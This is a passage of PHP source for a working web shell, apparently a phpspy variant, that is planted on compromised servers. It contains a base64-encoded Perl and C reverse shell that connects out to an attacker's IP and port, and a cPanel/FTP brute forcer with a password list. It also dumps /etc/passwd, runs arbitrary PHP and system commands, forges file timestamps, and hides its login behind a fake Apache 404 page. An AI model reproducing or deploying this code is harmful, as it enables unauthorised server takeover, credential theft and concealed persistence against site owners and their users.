onmouseout="this.className=\\\'fout\\\';">\');\n\t\t\t\t\tp(\'<td align="center" width="2%"><input type="checkbox" name="table[]" value="\'.$table[\'Name\'].\'" /></td>\');\n\t\t\t\t\tp(\'<td><a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\');">\'.$table[\'Name\'].\'</a> [ <a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\', \\\'insert\\\');">Insert</a> | <a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\', \\\'structure\\\');">Structure</a> | <a href="javascript:settable(\\\'\'.$table[\'Name\'].\'\\\', \\\'drop\\\');">Drop</a> ]</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Rows\'].\'</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Data_length\'].\'</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Create_time\'].\'</td>\');\n\t\t\t\t\tp(\'<td>\'.$table[\'Update_time\'].\'</td>\');\n\t\t\t\t\tif ($highver) {\n\t\t\t\t\t\tp(\'<td>\'.$table[\'Engine\'].\'</td>\');\n\t\t\t\t\t\tp(\'<td>\'.$table[\'Collation\'].\'</td>\');\n\t\t\t\t\t}\n\t\t\t\t\tp(\'</tr>\');\n\t\t\t\t}\n\t\t\t\tp(\'<tr class=fout>\');\n\t\t\t\tp(\'<td> </td>\');\n\t\t\t\tp(\'<td>Total tables: \'.$table_num.\'</td>\');\n\t\t\t\tp(\'<td>\'.$table_rows.\'</td>\');\n\t\t\t\tp(\'<td>\'.$data_size.\'</td>\');\n\t\t\t\tp(\'<td colspan="\'.($highver ? 4 : 2).\'"> </td>\');\n\t\t\t\tp(\'</tr>\');\n\n\t\t\t\tp("<tr class=\\"fout\\"><td colspan=\\"".($highver ? 8 : 6)."\\"><input name=\\"saveasfile\\" value=\\"1\\" type=\\"checkbox\\" /> Save as file <input class=\\"input\\" name=\\"path\\" value=\\"".SA_ROOT.$_SERVER[\'HTTP_HOST\']."_MySQL.sql\\" type=\\"text\\" size=\\"60\\" /> <input class=\\"bt\\" type=\\"submit\\" name=\\"downrar\\" value=\\"Export selection table\\" /></td></tr>");\n\t\t\t\tmakehide(\'doing\',\'backupmysql\');\n\t\t\t\tformfoot();\n\t\t\t\tp("</table>");\n\t\t\t\tfr($query);\n\t\t\t}\n\t\t}\n\t}\n\ttbfoot();\n\t@mysql_close();\n}//end sql backup\n\n\nelseif ($action == \'backconnect\') {\n\t!$yourip && $yourip = $_SERVER[\'REMOTE_ADDR\'];\n\t!$yourport && $yourport = \'12345\';\n\t$usedb = array(\'perl\'=>\'perl\',\'c\'=>\'c\');\n\n\t$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".\n\t\t"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".\n\t\t"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".\n\t\t"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".\n\t\t"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".\n\t\t"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".\n\t\t"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";\n\t$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".\n\t\t"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".\n\t\t"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".\n\t\t"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".\n\t\t"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".\n\t\t"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".\n\t\t"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".\n\t\t"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";\n\n\tif ($start && $yourip && $yourport && $use){\n\t\tif ($use == \'perl\') {\n\t\t\tcf(\'/tmp/angel_bc\',$back_connect);\n\t\t\t$res = execute(which(\'perl\')." /tmp/angel_bc $yourip $yourport &");\n\t\t} else {\n\t\t\tcf(\'/tmp/angel_bc.c\',$back_connect_c);\n\t\t\t$res = execute(\'gcc -o /tmp/angel_bc /tmp/angel_bc.c\');\n\t\t\t@unlink(\'/tmp/angel_bc.c\');\n\t\t\t$res = execute("/tmp/angel_bc $yourip $yourport &");\n\t\t}\n\t\tm("Now script try connect to $yourip port $yourport ...");\n\t}\n\n\tformhead(array(\'title\'=>\'Back Connect\'));\n\tmakehide(\'action\',\'backconnect\');\n\tp(\'<p>\');\n\tp(\'Your IP:\');\n\tmakeinput(array(\'name\'=>\'yourip\',\'size\'=>20,\'value\'=>$yourip));\n\tp(\'Your Port:\');\n\tmakeinput(array(\'name\'=>\'yourport\',\'size\'=>15,\'value\'=>$yourport));\n\tp(\'Use:\');\n\tmakeselect(array(\'name\'=>\'use\',\'option\'=>$usedb,\'selected\'=>$use));\n\tmakeinput(array(\'name\'=>\'start\',\'value\'=>\'Start\',\'type\'=>\'submit\',\'class\'=>\'bt\'));\n\tp(\'</p>\');\n\tformfoot();\n}//end backconnect window via NC\n\n// Brute\nelseif ($action == \'brute\') {\nformhead(array(\'title\'=>\'Brute Forcer\'));\n\tmakehide(\'action\',\'brute\');\n\tmakehide(\'dir\',$brute);\n@ini_set(\'memory_limit\', 1000000000000);\n$connect_timeout=5;\n@set_time_limit(0);\n$submit = $_REQUEST[\'submit\'];\n$users = $_REQUEST[\'users\'];\n$pass = $_REQUEST[\'passwords\'];\n$target = $_REQUEST[\'target\'];\n$option = $_REQUEST[\'option\'];\n\n\n$passlist = "0123456\n01234567\n012345678\n0123456789\n01234567890\n123456\n1234567\n12345678\n123456789\n1234567890\n111111\n000000\n222222\n333333\n444444\n555555\n666666\n777777\n888888\n999999\n123123\n456456\n789789\n123321\n456654\n654321\n7654321\n87654321\n987654321\n0987654321\nadmin\nadministrator\nadmincp\ncpanel\nadminx\nadmins\npassword\npasswords\npassw0rd\np@ssw0rd\np@ssword\nkhongco\n25251325\npassw0rds";\nif($target == \'\'){\n$target = \'localhost\';\n}\nprint " <div align=\'center\'>\n<form method=\'post\' style=\'border: 1px solid #000000\'><br><br>\n<TABLE style=\'BORDER-COLLAPSE: collapse\' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width=\'40%\' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>\n<b> Target : </font><input type=\'text\' name=\'target\' size=\'16\' value= $target style=\'border: font-family:tahoma; font-weight:bold;\'></p></font></b></p>\n<div align=\'center\'><br>\n<TABLE style=\'BORDER-COLLAPSE: collapse\' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width=\'50%\' bgColor=#303030 borderColorLight=#966117 border=1>\n<tr>\n<td align=\'center\'>\n<b>Username</b></td>\n<td>\n<p align=\'center\'>\n<b>Password</b></td>\n</tr>\n</table>\n<p align=\'center\'>\n<textarea rows=\'20\' name=\'users\' cols=\'25\' style=\'border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0\'>";\n$i = 0;\nwhile ($i < 60000) {\n\n $line = posix_getpwuid($i);\n if (!empty($line)) {\n\n while (list ($key, $vba_etcpwd) = each($line)){\n echo "".$vba_etcpwd."\\n";\n break;\n }\n\n }\n\n $i++;\n}\necho "\n</textarea>\n<textarea rows=\'20\' name=\'passwords\' cols=\'25\' style=\'border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0\'>$passlist</textarea><br>\n<br>\n<b>Options : </span><input name=\'option\' value=\'cpanel\' style=\'font-weight: 700;\' checked type=\'radio\'> cPanel\n<input name=\'option\' value=\'ftp\' style=\'font-weight: 700;\' type=\'radio\'> ftp ==> <input type=\'submit\' value=\'Attack\' name=\'submit\' ></p>\n</td></tr></table></td></tr></form><p align= \'left\'>";\n?>\n<?php\nfunction ftp_check($host,$user,$pass,$timeout){\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, "ftp://$host");\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\ncurl_setopt($ch, CURLOPT_FTPLISTONLY, 1);\ncurl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");\ncurl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);\ncurl_setopt($ch, CURLOPT_FAILONERROR, 1);\n$data = curl_exec($ch);\nif ( curl_errno($ch) == 28 ) {\n\nprint "<b> Error : Connection timed out , make confidence about validation of target !</b>";\nexit;}\n\nelseif ( curl_errno($ch) == 0 ){\n\np("<b>[ attack@vbateam.net ]# </b>\n<b> Attacking has been done! Username: <font color=\'#FF0000\'> $user </font> / Password:<font color=\'#FF0000\'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");\n}\ncurl_close($ch);}\n\nfunction cpanel_check($host,$user,$pass,$timeout){\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, "http://$host:2082");\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\ncurl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");\ncurl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);\ncurl_setopt($ch, CURLOPT_FAILONERROR, 1);\n$data = curl_exec($ch);\nif ( curl_errno($ch) == 28 ) {\nprint "<b> Error : Connection timed out , make confidence about validation of target !</b>";\nexit;}\nelseif ( curl_errno($ch) == 0 ){\n\np("<b>[ attack@vbateam.net ]# </b><b>Attacking has been done!</a> Username: <font color=\'#FF0000\'> $user </font> / Password:<font color=\'#FF0000\'> $pass </font></b><br>");}curl_close($ch);}\n\nif(isset($submit) && !empty($submit)){\n\n$userlist = explode ("\\n" , $users );\n$passlist = explode ("\\n" , $pass );\np(\'<b>[ attack@vbateam.net ]# Attacking ...</font></b><br>\');\nforeach ($userlist as $user) {\n$_user = trim($user);\nforeach ($passlist as $password ) {\n$_pass = trim($password);\nif($option == "ftp"){\nftp_check($target,$_user,$_pass,$connect_timeout);\n}\nif ($option == "cpanel")\n{\ncpanel_check($target,$_user,$_pass,$connect_timeout);\n}\n}\n}\n}\n\n\tformfoot();\n}\n\n\n\n\n\n\nelseif ($action == \'etcpwd\') {\nformhead(array(\'title\'=>\'Get /etc/passwd\'));\n\tmakehide(\'action\',\'etcpwd\');\n\tmakehide(\'dir\',$nowpath);\n$i = 0;\n echo "<p><br><textarea class=\\"area\\" id=\\"phpcodexxx\\" name=\\"phpcodexxx\\" cols=\\"100\\" rows=\\"25\\">";\nwhile ($i < 60000) {\n\n $line = posix_getpwuid($i);\n if (!empty($line)) {\n\n while (list ($key, $vba_etcpwd) = each($line)){\n echo "".$vba_etcpwd."\\n";\n break;\n }\n\n }\n\n $i++;\n}\n echo "</textarea></p>";\n\tformfoot();\n}\n\nelseif ($action == \'eval\') {\n\t$phpcode = trim($phpcode);\n\tif($phpcode){\n\t\tif (!preg_match(\'#<\\?#si\', $phpcode)) {\n\t\t\t$phpcode = "<?php\\n\\n{$phpcode}\\n\\n?>";\n\t\t}\n\t\teval("?".">$phpcode<?");\n\t}\n\tformhead(array(\'title\'=>\'Eval PHP Code\'));\n\tmakehide(\'action\',\'eval\');\n\tmaketext(array(\'title\'=>\'PHP Code\',\'name\'=>\'phpcode\', \'value\'=>$phpcode));\n\tp(\'<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>\');\n\tformfooter();\n}//end eval\n\nelseif ($action == \'editfile\') {\n\tif(file_exists($opfile)) {\n\t\t$fp=@fopen($opfile,\'r\');\n\t\t$contents=@fread($fp, filesize($opfile));\n\t\t@fclose($fp);\n\t\t$contents=htmlspecialchars($contents);\n\t}\n\tformhead(array(\'title\'=>\'Create / Edit File\'));\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'dir\',$nowpath);\n\tmakeinput(array(\'title\'=>\'Current File (import new file name and new file)\',\'name\'=>\'editfilename\',\'value\'=>$opfile,\'newline\'=>1));\n\tmaketext(array(\'title\'=>\'File Content\',\'name\'=>\'filecontent\',\'value\'=>$contents));\n\tformfooter();\n}//end editfile\n\nelseif ($action == \'newtime\') {\n\t$opfilemtime = @filemtime($opfile);\n\t//$time = strtotime("$year-$month-$day $hour:$minute:$second");\n\t$cachemonth = array(\'January\'=>1,\'February\'=>2,\'March\'=>3,\'April\'=>4,\'May\'=>5,\'June\'=>6,\'July\'=>7,\'August\'=>8,\'September\'=>9,\'October\'=>10,\'November\'=>11,\'December\'=>12);\n\tformhead(array(\'title\'=>\'Clone file was last modified time\'));\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'dir\',$nowpath);\n\tmakeinput(array(\'title\'=>\'Alter file\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));\n\tmakeinput(array(\'title\'=>\'Reference file (fullpath)\',\'name\'=>\'tarfile\',\'size\'=>120,\'newline\'=>1));\n\tformfooter();\n\tformhead(array(\'title\'=>\'Set last modified\'));\n\tmakehide(\'action\',\'file\');\n\tmakehide(\'dir\',$nowpath);\n\tmakeinput(array(\'title\'=>\'Current file (fullpath)\',\'name\'=>\'curfile\',\'value\'=>$opfile,\'size\'=>120,\'newline\'=>1));\n\tp(\'<p>Instead »\');\n\tp(\'year:\');\n\tmakeinput(array(\'name\'=>\'year\',\'value\'=>date(\'Y\',$opfilemtime),\'size\'=>4));\n\tp(\'month:\');\n\tmakeinput(array(\'name\'=>\'month\',\'value\'=>date(\'m\',$opfilemtime),\'size\'=>2));\n\tp(\'day:\');\n\tmakeinput(array(\'name\'=>\'day\',\'value\'=>date(\'d\',$opfilemtime),\'size\'=>2));\n\tp(\'hour:\');\n\tmakeinput(array(\'name\'=>\'hour\',\'value\'=>date(\'H\',$opfilemtime),\'size\'=>2));\n\tp(\'minute:\');\n\tmakeinput(array(\'name\'=>\'minute\',\'value\'=>date(\'i\',$opfilemtime),\'size\'=>2));\n\tp(\'second:\');\n\tmakeinput(array(\'name\'=>\'second\',\'value\'=>date(\'s\',$opfilemtime),\'size\'=>2));\n\tp(\'</p>\');\n\tformfooter();\n}//end newtime\n\nelseif ($action == \'shell\') {\n\tif (IS_WIN && IS_COM) {\n\t\tif($program && $parameter) {\n\t\t\t$shell= new COM(\'Shell.Application\');\n\t\t\t$a = $shell->ShellExecute($program,$parameter);\n\t\t\tm(\'Program run has \'.(!$a ? \'success\' : \'fail\'));\n\t\t}\n\t\t!$program && $program = \'c:\\windows\\system32\\cmd.exe\';\n\t\t!$parameter && $parameter = \'/c net start > \'.SA_ROOT.\'log.txt\';\n\t\tformhead(array(\'title\'=>\'Execute Program\'));\n\t\tmakehide(\'action\',\'shell\');\n\t\tmakeinput(array(\'title\'=>\'Program\',\'name\'=>\'program\',\'value\'=>$program,\'newline\'=>1));\n\t\tp(\'<p>\');\n\t\tmakeinput(array(\'title\'=>\'Parameter\',\'name\'=>\'parameter\',\'value\'=>$parameter));\n\t\tmakeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));\n\t\tp(\'</p>\');\n\t\tformfoot();\n\t}\n\tformhead(array(\'title\'=>\'Execute Command\'));\n\tmakehide(\'action\',\'shell\');\n\tif (IS_WIN && IS_COM) {\n\t\t$execfuncdb = array(\'phpfunc\'=>\'phpfunc\',\'wscript\'=>\'wscript\',\'proc_open\'=>\'proc_open\');\n\t\tmakeselect(array(\'title\'=>\'Use:\',\'name\'=>\'execfunc\',\'option\'=>$execfuncdb,\'selected\'=>$execfunc,\'newline\'=>1));\n\t}\n\tp(\'<p>\');\n\tmakeinput(array(\'title\'=>\'Command\',\'name\'=>\'command\',\'value\'=>$command));\n\tmakeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));\n\tp(\'</p>\');\n\tformfoot();\n\n\tif ($command) {\n\t\tp(\'<hr width="100%" noshade /><pre>\');\n\t\tif ($execfunc==\'wscript\' && IS_WIN && IS_COM) {\n\t\t\t$wsh = new COM(\'WScript.shell\');\n\t\t\t$exec = $wsh->exec(\'cmd.exe /c \'.$command);\n\t\t\t$stdout = $exec->StdOut();\n\t\t\t$stroutput = $stdout->ReadAll();\n\t\t\techo $stroutput;\n\t\t} elseif ($execfunc==\'proc_open\' && IS_WIN && IS_COM) {\n\t\t\t$descriptorspec = array(\n\t\t\t 0 => array(\'pipe\', \'r\'),\n\t\t\t 1 => array(\'pipe\', \'w\'),\n\t\t\t 2 => array(\'pipe\', \'w\')\n\t\t\t);\n\t\t\t$process = proc_open($_SERVER[\'COMSPEC\'], $descriptorspec, $pipes);\n\t\t\tif (is_resource($process)) {\n\t\t\t\tfwrite($pipes[0], $command."\\r\\n");\n\t\t\t\tfwrite($pipes[0], "exit\\r\\n");\n\t\t\t\tfclose($pipes[0]);\n\t\t\t\twhile (!feof($pipes[1])) {\n\t\t\t\t\techo fgets($pipes[1], 1024);\n\t\t\t\t}\n\t\t\t\tfclose($pipes[1]);\n\t\t\t\twhile (!feof($pipes[2])) {\n\t\t\t\t\techo fgets($pipes[2], 1024);\n\t\t\t\t}\n\t\t\t\tfclose($pipes[2]);\n\t\t\t\tproc_close($process);\n\t\t\t}\n\t\t} else {\n\t\t\techo(execute($command));\n\t\t}\n\t\tp(\'</pre>\');\n\t}\n}//end shell\n\nelseif ($action == \'phpenv\') {\n\t$upsize=getcfg(\'file_uploads\') ? getcfg(\'upload_max_filesize\') : \'Not allowed\';\n\t$adminmail=isset($_SERVER[\'SERVER_ADMIN\']) ? $_SERVER[\'SERVER_ADMIN\'] : getcfg(\'sendmail_from\');\n\t!$dis_func && $dis_func = \'No\';\n\t$info = array(\n\t\t1 => array(\'Server Time\',date(\'Y/m/d h:i:s\',$timestamp)),\n\t\t2 => array(\'Server Domain\',$_SERVER[\'SERVER_NAME\']),\n\t\t3 => array(\'Server IP\',gethostbyname($_SERVER[\'SERVER_NAME\'])),\n\t\t4 => array(\'Server OS\',PHP_OS),\n\t\t5 => array(\'Server OS Charset\',$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']),\n\t\t6 => array(\'Server Software\',$_SERVER[\'SERVER_SOFTWARE\']),\n\t\t7 => array(\'Server Web Port\',$_SERVER[\'SERVER_PORT\']),\n\t\t8 => array(\'PHP run mode\',strtoupper(php_sapi_name())),\n\t\t9 => array(\'The file path\',__FILE__),\n\n\t\t10 => array(\'PHP Version\',PHP_VERSION),\n\t\t11 => array(\'PHPINFO\',(IS_PHPINFO ? \'<a href="javascript:goaction(\\\'phpinfo\\\');">Yes</a>\' : \'No\')),\n\t\t12 => array(\'Safe Mode\',getcfg(\'safe_mode\')),\n\t\t13 => array(\'Administrator\',$adminmail),\n\t\t14 => array(\'allow_url_fopen\',getcfg(\'allow_url_fopen\')),\n\t\t15 => array(\'enable_dl\',getcfg(\'enable_dl\')),\n\t\t16 => array(\'display_errors\',getcfg(\'display_errors\')),\n\t\t17 => array(\'register_globals\',getcfg(\'register_globals\')),\n\t\t18 => array(\'magic_quotes_gpc\',getcfg(\'magic_quotes_gpc\')),\n\t\t19 => array(\'memory_limit\',getcfg(\'memory_limit\')),\n\t\t20 => array(\'post_max_size\',getcfg(\'post_max_size\')),\n\t\t21 => array(\'upload_max_filesize\',$upsize),\n\t\t22 => array(\'max_execution_time\',getcfg(\'max_execution_time\').\' second(s)\'),\n\t\t23 => array(\'disable_functions\',$dis_func),\n\t);\n\n\tif($phpvarname) {\n\t\tm($phpvarname .\' : \'.getcfg($phpvarname));\n\t}\n\n\tformhead(array(\'title\'=>\'Server environment\'));\n\tmakehide(\'action\',\'phpenv\');\n\tmakeinput(array(\'title\'=>\'Please input PHP configuration parameter(eg:magic_quotes_gpc)\',\'name\'=>\'phpvarname\',\'value\'=>$phpvarname,\'newline\'=>1));\n\tformfooter();\n\n\t$hp = array(0=> \'Server\', 1=> \'PHP\');\n\tfor($a=0;$a<2;$a++) {\n\t\tp(\'<h2>\'.$hp[$a].\' »</h2>\');\n\t\tp(\'<ul class="info">\');\n\t\tif ($a==0) {\n\t\t\tfor($i=1;$i<=9;$i++) {\n\t\t\t\tp(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');\n\t\t\t}\n\t\t} elseif ($a == 1) {\n\t\t\tfor($i=10;$i<=23;$i++) {\n\t\t\t\tp(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');\n\t\t\t}\n\t\t}\n\t\tp(\'</ul>\');\n\t}\n}//end phpenv\n\nelse {\n\tm(\'Undefined Action\');\n}\n\n?>\n</td></tr></table>\n<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">\n\t<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>\n\t<B>The Legend of Vietnamese Hacker World</B> All Rights Reserved.\n</div>\n</body>\n</html>\n\n<?php\n\n/*======================================================\nShow info shell\n======================================================*/\n\nfunction m($msg) {\n\techo \'<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">\';\n\techo $msg;\n\techo \'</div>\';\n}\nfunction scookie($key, $value, $life = 0, $prefix = 1) {\n\tglobal $admin, $timestamp, $_SERVER;\n\t$key = ($prefix ? $admin[\'cookiepre\'] : \'\').$key;\n\t$life = $life ? $life : $admin[\'cookielife\'];\n\t$useport = $_SERVER[\'SERVER_PORT\'] == 443 ? 1 : 0;\n\tsetcookie($key, $value, $timestamp+$life, $admin[\'cookiepath\'], $admin[\'cookiedomain\'], $useport);\n}\nfunction multi($num, $perpage, $curpage, $tablename) {\n\t$multipage = \'\';\n\tif($num > $perpage) {\n\t\t$page = 10;\n\t\t$offset = 5;\n\t\t$pages = @ceil($num / $perpage);\n\t\tif($page > $pages) {\n\t\t\t$from = 1;\n\t\t\t$to = $pages;\n\t\t} else {\n\t\t\t$from = $curpage - $offset;\n\t\t\t$to = $curpage + $page - $offset - 1;\n\t\t\tif($from < 1) {\n\t\t\t\t$to = $curpage + 1 - $from;\n\t\t\t\t$from = 1;\n\t\t\t\tif(($to - $from) < $page && ($to - $from) < $pages) {\n\t\t\t\t\t$to = $page;\n\t\t\t\t}\n\t\t\t} elseif($to > $pages) {\n\t\t\t\t$from = $curpage - $pages + $to;\n\t\t\t\t$to = $pages;\n\t\t\t\tif(($to - $from) < $page && ($to - $from) < $pages) {\n\t\t\t\t\t$from = $pages - $page + 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t$multipage = ($curpage - $offset > 1 && $pages > $page ? \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', 1);">First</a> \' : \'\').($curpage > 1 ? \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.($curpage - 1).\');">Prev</a> \' : \'\');\n\t\tfor($i = $from; $i <= $to; $i++) {\n\t\t\t$multipage .= $i == $curpage ? $i.\' \' : \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.$i.\');">[\'.$i.\']</a> \';\n\t\t}\n\t\t$multipage .= ($curpage < $pages ? \'<a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.($curpage + 1).\');">Next</a>\' : \'\').($to < $pages ? \' <a href="javascript:settable(\\\'\'.$tablename.\'\\\', \\\'\\\', \'.$pages.\');">Last</a>\' : \'\');\n\t\t$multipage = $multipage ? \'<p>Pages: \'.$multipage.\'</p>\' : \'\';\n\t}\n\treturn $multipage;\n}\n// Login page\nfunction loginpage() {\n?>\n\n<html> <title>404 Not Found</title> <h1>Not Found</h1> <p>The requested URL / was not found on this server.</p> <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> <hr> <address>Apache Server at Port 80</address> <style> input { margin:0;background-color:#fff;border:1px solid #fff; } </style> <center> <form method="POST" action=""> <span style="font:10pt tahoma;"></span><input name="password" type="password" size="20"> <input type="hidden" name="doing" value="login"> </form> </center> \t</html> \n<?php\n\texit;\n\n}//end loginpage()\n\nfunction execute($cfe) {\n\t$res = \'\';\n\tif ($cfe) {\n\t\tif(function_exists(\'exec\')) {\n\t\t\t@exec($cfe,$res);\n\t\t\t$res = join("\\n",$res);\n\t\t} elseif(function_exists(\'shell_exec\')) {\n\t\t\t$res = @shell_exec($cfe);\n\t\t} elseif(function_exists(\'system\')) {\n\t\t\t@ob_start();\n\t\t\t@system($cfe);\n\t\t\t$res = @ob_get_contents();\n\t\t\t@ob_end_clean();\n\t\t} elseif(function_exists(\'passthru\')) {\n\t\t\t@ob_start();\n\t\t\t@passthru($cfe);\n\t\t\t$res = @ob_get_contents();\n\t\t\t@ob_end_clean();\n\t\t} elseif(@is_resource($f = @popen($cfe,"r"))) {\n\t\t\t$res = \'\';\n\t\t\twhile(!@feof($f)) {\n\t\t\t\t$res .= @fread($f,1024);\n\t\t\t}\n\t\t\t@pclose($f);\n\t\t}\n\t}\n\treturn $res;\n}\nfunction which($pr) {\n\t$path = execute("which $pr");\n\treturn ($path ? $path : $pr);\n}\n\nfunction cf($fname,$text){\n\tif($fp=@fopen($fname,\'w\')) {\n\t\t@fputs($fp,@base64_decode($text));\n\t\t@fclose($fp);\n\t}\n}\n\n// Debug\nfunction debuginfo() {\n\tglobal $starttime;\n\t$mtime = explode(\' \', microtime());\n\t$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);\n\techo \'Processed in \'.$totaltime.\' second(s)\';\n}\n\n// Function connect database\nfunction dbconn($dbhost,$dbuser,$dbpass,$dbname=\'\',$charset=\'\',$dbport=\'3306\') {\n\tif(!$link = @mysql_connect($dbhost.\':\'.$dbport, $dbuser, $dbpass)) {\n\t\tp(\'<h2>Can not connect to MySQL server</h2>\');\n\t\texit;\n\t}\n\tif($link && $dbname) {\n\t\tif (!@mysql_select_db($dbname, $link)) {\n\t\t\tp(\'<h2>Database selected has error</h2>\');\n\t\t\texit;\n\t\t}\n\t}\n\tif($link && mysql_get_server_info() > \'4.1\') {\n\t\tif(in_array(strtolower($charset), array(\'gbk\', \'big5\', \'utf8\'))) {\n\t\t\tq("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);\n\t\t}\n\t}\n\treturn $link;\n}\n\n// Array strip\nfunction s_array(&$array) {\n\tif (is_array($array)) {\n\t\tforeach ($array as $k => $v) {\n\t\t\t$array[$k] = s_array($v);\n\t\t}\n\t} else if (is_string($array)) {\n\t\t$array = stripslashes($array);\n\t}\n\treturn $array;\n}\n\n// HTML Strip\nfunction html_clean($content) {\n\t$content = htmlspecialchars($content);\n\t$content = str_replace("\\n", "<br />", $content);\n\t$content = str_replace(" ", " ", $content);\n\t$content = str_replace("\\t", " ", $content);\n\treturn $content;\n}\n\n// Chmod\nfunction getChmod($filepath){\n\treturn substr(base_convert(@fileperms($filepath),10,8),-4);\n}\n\nfunction getPerms($filepath) {\n\t$mode = @fileperms($filepath);\n\tif (($mode & 0xC000) === 0xC000) {$type = \'s\';}\n\telseif (($mode & 0x4000) === 0x4000) {$type = \'d\';}\n\telseif (($mode & 0xA000) === 0xA000) {$type = \'l\';}\n\telseif (($mode & 0x8000) === 0x8000) {$type = \'-\';}\n\telseif (($mode & 0x6000) === 0x6000) {$type = \'b\';}\n\telseif (($mode & 0x2000) === 0x2000) {$type = \'c\';}\n\telseif (($mode & 0x1000) === 0x1000) {$type = \'p\';}\n\telse {$type = \'?\';}\n\n\t$owner[\'read\'] = ($mode & 00400) ? \'r\' : \'-\';\n\t$owner[\'write\'] = ($mode & 00200) ? \'w\' : 